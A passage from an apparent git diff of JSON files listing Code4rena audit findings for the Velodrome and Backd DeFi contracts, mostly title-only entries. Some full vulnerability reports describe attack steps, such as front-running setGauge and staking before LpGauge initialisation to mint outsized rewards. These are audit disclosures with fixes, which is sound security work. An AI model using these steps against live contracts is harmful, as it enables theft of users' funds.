"html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Wrong `DOMAIN_TYPEHASH` definition", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Wrong `DOMAIN_TYPEHASH` definition"}, {"title": "Team emissions significantly higher than intended", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Team emissions significantly higher than intended"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "NO CHECK FOR NO ZERO ADDRESS FOR `_to` in `transferFrom`", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "NO CHECK FOR NO ZERO ADDRESS FOR `_to` in `transferFrom`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "WeVE (FTM) may be lost forever if redemption process is failed", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/90", "labels": ["bug", "duplicate", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "WeVE (FTM) may be lost forever if redemption process is failed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Attacker can block LayerZero channel ", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/83", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2022-05-velodrome-findings", "body": "Attacker can block LayerZero channel "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "RedemptionSender should estimate fees to prevent failed transactions", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/80", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "RedemptionSender should estimate fees to prevent failed transactions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Voter address needs to be validated", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Voter address needs to be validated"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_19.json b/results/codearena_findings_19.json new file mode 100644 index 0000000..b068201 --- /dev/null +++ b/results/codearena_findings_19.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "VotingEscrow's merge and withdraw aren't available for approved users", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/66", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "VotingEscrow's merge and withdraw aren't available for approved users"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "User rewards stop accruing after any _writeCheckpoint calling action", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/59", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "User rewards stop accruing after any _writeCheckpoint calling action"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gauge set can be front run if bribe and gauge constructors aren't run atomically", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-velodrome-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L30-L33 # Vulnerability details If Bribe and Gauge constructors are run not in the same transaction, the griefing attack is possible. A malicious user can run setGauge after Bribe, but before Gauge constructor, making Bribe contract unusable. The fix here is Bribe redeployment. Setting severity to be medium as that is temporary system breaking impact. ## Proof of Concept setGauge can be run by anyone, but only once with a meaningful gauge: https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L30-L33 ```solidity function setGauge(address _gauge) external { require(gauge == address(0), \"gauge already set\"); gauge = _gauge; } ``` Now it is called in Gauge constructor: https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L96-L104 ```solidity constructor(address _stake, address _bribe, address __ve, address _voter, bool _isForPair) { stake = _stake; bribe = _bribe; _ve = __ve; voter = _voter; factory = msg.sender; IBribe(bribe).setGauge(address(this)); ``` This way it will not be called before Gauge constructor, but if it is not atomic with Bribe constructor, an attacker can call in-between. ## Recommended Mitigation Steps Consider either running Bribe and then Gauge constructors atomically, or introducing an owner role in Bribe constructor and onlyOwner access control in setGauge, setting it manually. "}, {"title": "Rewards aren't updated before user's balance change in Gauge's withdrawToken", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Rewards aren't updated before user's balance change in Gauge's withdrawToken"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "The minter can exceed its responsibilities.", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "The minter can exceed its responsibilities."}, {"title": "Alter velo receptions computation", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/36", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Alter velo receptions computation"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "VeloGovernor: proposalNumerator and team are updated by team, not governance", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "VeloGovernor: proposalNumerator and team are updated by team, not governance"}, {"title": "L2Governor: Unable to call _cancel function to lock the proposal", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "L2Governor: Unable to call _cancel function to lock the proposal"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Voter: Rounding causes voters to lose weight", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Voter: Rounding causes voters to lose weight"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Usage of deprecated transfer to send ETH", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/swappers/SwapperRouter.sol#L140 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/swappers/SwapperRouter.sol#L280 # Vulnerability details ## Impact Usage of deprecated transfer Swap can revert. ## Proof of Concept The original `transfer` used to send eth uses a fixed stipend 2300 gas. This was used to prevent reentrancy. However this limit your protocol to interact with others contracts that need more than that to proceess the transaction A good article about that https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/ ## Recommended Mitigation Steps Used call instead. For example (bool success, ) = msg.sender.call{amount}(\"\"); require(success, \"Transfer failed.\"); "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/176", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Minus before addition -> underflow risk (But reverted due to solidity 0.8)", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Minus before addition -> underflow risk (But reverted due to solidity 0.8)"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "lockFor() in BkdLocker don't check that user is not 0x0 and if user by mistake call this function with value 0x0 s/he is going to lose his funds.", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/166", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/BkdLocker.sol#L227-L232 # Vulnerability details ## Impact function `lockFor()` in `BkdLocker` is supposed to lock 'msg.sender` funds and increase `user` address funds but if anyone one calls it with `0x0` address by mistake then his funds will be locked forever. ## Proof of Concept This is `lockFor()` code in `BkdLocker`: ``` function lockFor(address user, uint256 amount) public override { govToken.safeTransferFrom(msg.sender, address(this), amount); _userCheckpoint(user, amount, balances[user] + amount); totalLocked += amount; emit Locked(user, amount); } ``` As you can see there is no check that `user` is not `0x0`. code calls `_userCheckpoint()` which will increase `0x0` balances in the contract and there is no check in `_userCheckpoint()` either and user can lose all his funds just by one simple mistake. ## Tools Used VIM ## Recommended Mitigation Steps check that `user` is not `0x0` in `lcokFor` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Inconsistency in view functions can lead to users believing they\u2019re due for more BKD rewards", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/150", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmConvexGauge.sol#L107-L111 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmConvexGauge.sol#L129-L134 # Vulnerability details ## Impact The view functions used for a user to check their claimable rewards vary in their implementation. This can cause users to believe they are due X amount but will receive Y. ## Proof of Concept If the `inflationRecipient` is set, then `poolStakedIntegral` will be incremented in `claimableRewards()` but not in any other function like `allClaimableRewards()` or `poolCheckpoint()`. If a user calls `claimableRewards()` after the `inflationRepient` has been set, `claimableRewards()` will return a larger value than `allClaimableRewards()` or the amount actually returned by `claimRewards()`. ## Tools Used Manual review ## Recommended Mitigation Steps To make the logic consistent, `claimableRewards()` needs `if (inflationRecipient == address(0))` added to it. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Users can claim extremely large rewards or lock rewards from LpGauge due to uninitialised `poolLastUpdate` variable", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/141", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/LpGauge.sol#L115-L119 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/StakerVault.sol#L326-L328 # Vulnerability details ## Impact A user can claim all of the available governance tokens or prevent any rewards from being claimed in `LpGauge.sol` if sufficient time is left between deploying the contract and initialising it in the `StakerVault.sol` contract by calling `initalizeLPGauge()` OR if a new `LPGauge` contract is deployed and added to `StakerVault` using `prepareLPGauge`. Inside `LPGauge.sol` when calling `_poolCheckPoint()`, the `lastUpdated` variable is not initalised so defaults to a value of `0`, therefore if the user has managed to stake tokens in the `StakerVault` then the calculated `poolStakedIntegral` will be very large (as block.timestamp is very large). Therefore a user can mint most current available governance tokens for themselves when they claim their rewards (or prevent any governance tokens from being claimed). ## Proof of Concept 1. LP Gauge and StakerVault contracts are deployed 2. Before the `initializeLpGauge()`, user A will stake 1 token with `stakeFor()` thereby increasing `_poolTotalStaked` by 1. As the `lpgauge` address is equal to the zero address, `_userCheckPoint()` will not be called and `poolLastUpdate` will remain at 0. 3. The user can then directly call `_userCheckPoint()` and be allocated a very large number of shares. This works because `poolLastUpdate` is 0 but the staked amount in the vault is larger than 0 4. Once `initializeLPGauge()` is called, the user can then call `claimRewards()` and receive a very large portion of tokens or if `poolStakedIntegral` exceeds the mint limit set by `Minter.sol` then no one else can claim governance tokens from the lpGauge. OR 5. A new LP Gauge contract is deployed and added to the vault using `prepareGauge()`. Follow steps 2 to 4. ## Tools Used Manual audit ## Recommended Mitigation Steps Initialise `poolLastUpdate` in the constructor "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/138", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "it's possible to initialize contract BkdLocker for multiple times by sending startBoost=0 and each time different values for other parameters", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/BkdLocker.sol#L53-L64 # Vulnerability details ## Impact function `initialize()` of `BkdLocker` suppose to be called one time and contract initialize one time. but if it's called by `startBoost=0` then it's possible to call it again with different values for other parameters. there are some logics based on the values function `initilize()` sets which is in calculating boost and withdraw delay. by initializing multiple times different users get different values for those logics and because rewards are distributed based on boosts so those logics will be wrong too. ## Proof of Concept This is `initiliaze()` code in `BkdLocker`: ``` function initialize( uint256 startBoost, uint256 maxBoost, uint256 increasePeriod, uint256 withdrawDelay ) external override onlyGovernance { require(currentUInts256[_START_BOOST] == 0, Error.CONTRACT_INITIALIZED); _setConfig(_START_BOOST, startBoost); _setConfig(_MAX_BOOST, maxBoost); _setConfig(_INCREASE_PERIOD, increasePeriod); _setConfig(_WITHDRAW_DELAY, withdrawDelay); } ``` As you can see it checks the initialization statue by `currentUInts256[_START_BOOST]`'s value but it's not correct way to do and initializer can set `currentUInts256[_START_BOOST]` value as `0` and set other parameters values and call this function multiple times with different values for `_MAX_BOOST` and `_INCREASE_PERIOD` and `_WITHDRAW_DELAY`. setting different values for those parameters can cause different calculation in `computeNewBoost()` and `prepareUnlock()`. function `computeNewBoost()` is used to calculate users boost parameters which is used on reward distribution. so by changing `_MAX_BOOST` the rewards will be distributed wrongly between old users and new users. ## Tools Used VIM ## Recommended Mitigation Steps add some other variable to check the status of initialization of contract. "}, {"title": "Fees from delisted pool still in reward handler will become stuck after delisting", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/135", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/Controller.sol#L62-L76 # Vulnerability details ## Impact Unclaimed fees from pool will be stuck ## Proof of Concept When delisting a pool the pool's reference is removed from address provider: https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/Controller.sol#L63 Burning fees calls a dynamic list of all pools which no longer contains the delisted pool: https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/RewardHandler.sol#L39 Since the list no longer contains the pool those fees will not be processed and will remain stuck in the contract ## Tools Used ## Recommended Mitigation Steps Call burnFees() before delisting a pool "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Fee-on transfer tokens in `FeeBurner.burnToTarget` will revert transaction", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Fee-on transfer tokens in `FeeBurner.burnToTarget` will revert transaction"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 